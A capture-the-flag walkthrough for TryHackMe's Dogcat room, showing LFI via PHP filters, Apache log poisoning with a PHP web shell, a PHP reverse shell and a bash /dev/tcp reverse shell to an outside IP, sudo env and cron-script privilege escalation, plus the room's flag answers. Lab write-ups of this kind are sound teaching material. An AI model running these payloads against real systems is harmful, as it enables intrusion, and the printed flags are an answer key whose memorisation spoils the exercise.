This is a writeup for the Dogcat room, available on TryHackMe.
Log Poisoning
is a well-known method for exploiting a Local File Inclusion (FLI) vulnerability to gain a reverse shell. The attacker attempts to insert malicious input into the server logs through web requests (usually by malformed headers). If the attacker manages to include the corrupted log file on the website, the PHP will try to evaluate it.
Introduction
Room Description
I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats! This machine may take a few minutes to fully start up.
Notes & Observations
- Using PHP filtering technique we can access PHP source code.
- With local file inclusion and Apache log poisoning we can get remote code execution.
- There is an easy privilege escalation method with
env
command. - After scanning the files on the server you can notice that the timestamp of backup.sh is frequently changing.
Used tools: ffuf
, nmap
, CyberChef
, base64
, Burp
, netcat
Walkthrough
Enumeration
Run the following nmap scan:
nmap <IP> -A -T4
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA) | 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA) |_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: dogcat |_http-server-header: Apache/2.4.38 (Debian)
Run a website enumeration with the following
ffuf
command. We are also looking for somephp
andtxt
files, in colorized mode at 100 threads limit:ffuf -u http://<IP>/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e .php,.txt -t 100 -c
cat.php [Status: 200, Size: 27, Words: 3, Lines: 2, Duration: 56ms] flag.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 76ms] cats [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 55ms] dogs [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 55ms] dog.php [Status: 200, Size: 26, Words: 3, Lines: 2, Duration: 51ms] server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 56ms]
Flag 1
Answer:
THM{Th1s_1s_N0t_4_Catdog_ab67edfa}
- Open a browser with the given IP address and use the PHP filter technique to get the content of
flag.php
. We need to provide a path to the file that contains eitherdog
orcat
string in it:http://<IP>/?view=php://filter/convert.base64-encode/resource=cats/../flag
- Decode the retrieved Base64 string (you can use CyberChef):
<?php $flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}" ?>
Flag 2
Answer:
THM{LF1_t0_RC3_aec3fb}
- Use the same PHP filter technique to get the source code of the
index.php
file:http://<IP>/?view=php://filter/convert.base64-encode/resource=cats/../index
- Decode the retrieved Base64 string and check the
PHP
code:<?php function containsStr($str, $substr) { return strpos($str, $substr) !== false; } $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; if (isset($_GET['view'])) { if (containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) { echo 'Here you go!'; include $_GET['view'] . $ext; } else { echo 'Sorry, only dogs or cats are allowed.'; } } ?>
- There is additional GET parameter (
ext
) that can be used to escape the extension for local file inclusion. - As we already know, the path must contain either
cat
ordog
string to work.
- There is additional GET parameter (
- Check if you can access the
apache.log
log file from the browser:http://<IP>/?view=cats/../../../../var/log/apache2/access.log&ext=
- Open Burp Suite and intercept the same request used in previous step:
GET /?view=cats/../../../../var/log/apache2/access.log&ext HTTP/1.1 Host: 10.10.10.10 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
- Replace the value of the
User-Agent
header with<?php system($_GET["cmd"]);?>
code and forward it in Burp:GET /?view=cats/../../../../var/log/apache2/access.log&ext HTTP/1.1 Host: 10.10.10.10 User-Agent: <?php system($_GET['cmd']);?> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
Stop intercept mode and find the following text in the
access.log
file in the browser:http://<IP>/?view=cats/../../../../var/log/apache2/access.log&ext
Warning: system(): Cannot execute a blank command in /var/log/apache2/access.log on line
Add a command to the
cmd
parameter. Check the current user, it should bewww-data
:view-source:http://10.10.68.197/?view=cats/../../../../var/log/apache2/access.log&ext&cmd=whoami
10.11.69.106 - - [27/Apr/2022:18:06:09 +0000] "GET /?view=cats/../../../../var/log/apache2/access.log&ext HTTP/1.1" 200 1260 "-" "www-data"
Prepare netcat listener and send this PHP reverse shell request in url encoded format in the
cmd
parameter:php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");' # Encoded php+-r+'$sock%3dfsockopen("<IP>",<PORT>)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b'
Stabilise the shell (optional):
/usr/bin/script -qc /bin/bash /dev/null ^Z stty raw -echo; fg; reset export TERM=xterm
Get the
flag2
at the/var/www/flag2_QMW7JvaY2LvK.txt
destination:
Flag 3
Answer:
THM{D1ff3r3nt_3nv1ronments_874112}
- At the target machine type
sudo -l
, notice that/usr/bin/env
can be used as root without password. - Use the following command to gain root shell:
sudo env /bin/sh
- Get the
flag3
at this location/root/flag3.txt
Flag 4
Answer:
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
- Run the following command:
cat /proc/1/cgroup
. Notice that we are in a docker environment, there is also file at/.docketenv
:root@074345efe45b:/tmp# cat /proc/1/cgroup 12:freezer:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 11:blkio:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 10:hugetlb:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 9:cpuset:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 8:cpu,cpuacct:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 7:rdma:/ 6:perf_event:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 5:memory:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 4:devices:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 3:pids:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 2:net_cls,net_prio:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 1:name=systemd:/docker/074345efe45be5a85cc5249b7ed59997430165881b15a8a5196c643ff17f68dd 0::/system.slice/containerd.service
- Prepare linpeas.sh (you can serve it with
python3 -m http.server
) on your machine and download it to the target machine. Run linpeas.sh, it will find an interesting file that is frequently changing (/opt/backups/backup.sh):
Create another netcat listener on your machine and replace the content of the
backup.sh
to this:#!/bin/bash bash -i >& /dev/tcp/10.11.69.106/53 0>&1
- Get the last flag at
/root/flag4.txt